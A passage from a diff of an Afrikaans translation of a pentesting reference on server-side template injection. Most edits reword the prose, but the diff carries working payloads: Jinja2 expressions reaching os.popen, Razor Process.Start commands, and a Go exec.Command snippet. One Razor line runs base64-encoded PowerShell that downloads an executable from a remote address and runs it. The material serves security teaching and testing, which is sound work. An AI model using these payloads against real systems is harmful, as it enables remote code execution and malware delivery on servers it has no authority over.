inspirasie trek uit Twig. Tog, in teenstelling met Twig, wat 'n nuwe sintaksis introduceer, maak Plates gebruik van inheemse PHP-kode in templatings, wat dit intuïtief maak vir PHP-ontwikkelaars. Beheerder: ```php @@ -537,7 +547,7 @@ Uitleg sjabloon: ``` -`outors.php` +`outjie.php` ```php Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandboks-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie. +> Jinja2 is 'n volledige kenmerkende templaat-enjin vir Python. Dit het volledige Unicode-ondersteuning, 'n opsionele geïntegreerde sandbox-uitvoeringsomgewing, word wyd gebruik en is onder die BSD-lisensie. * `{{7*7}} = Fout` * `${7*7} = ${7*7}` @@ -813,7 +823,7 @@ Kyk na die volgende bladsy om truuks te leer oor **arbitrêre bevel uitvoering w {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` -**Meer inligting oor hoe om Jinja te misbruik**: +**Meer besonderhede oor hoe om Jinja te misbruik**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) @@ -844,9 +854,9 @@ ${x} * `@(1+2)` * `@( //C#Code )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` -* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` +* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` -Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. Jy kan 'n kwesbare webtoepassingsvoorbeeld vind in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) +Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en sodoende 'n webshell te skep. 'n Kwesbare webtoepassingsvoorbeeld kan gevind word in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Meer inligting** @@ -878,7 +888,7 @@ Selfs al is dit perl, gebruik dit tage soos ERB in Ruby. ``` ### SSTI in GO -In Go se templaat-enjin, kan bevestiging van die gebruik daarvan gedoen word met spesifieke payloads: +In Go se templaat-enjin, kan bevestiging van sy gebruik gedoen word met spesifieke payloads: * `{{ . }}`: Onthul die datastruktuur inset. Byvoorbeeld, as 'n objek met 'n `Password` eienskap oorgedra word, kan `{{ .Password }}` dit blootstel. * `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon. @@ -894,7 +904,7 @@ vbnet Kopieer kode RCE-uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module maak dit moontlik om enige openbare funksie direk te roep (deur die "call" waarde te gebruik), wat nie toegelaat word in `html/template` nie. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/). -Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n `System` metode het wat opdragte uitvoer, kan dit uitgebuit word soos `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegee voorbeeld: +Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafte objek 'n `System` metode het wat bevele uitvoer, kan dit uitgebuit word soos `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegee voorbeeld: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -940,7 +950,7 @@ As jy dink dit kan nuttig wees, lees:
-​​​[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline. +​​​[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline. {% embed url="https://www.rootedcon.com/" %}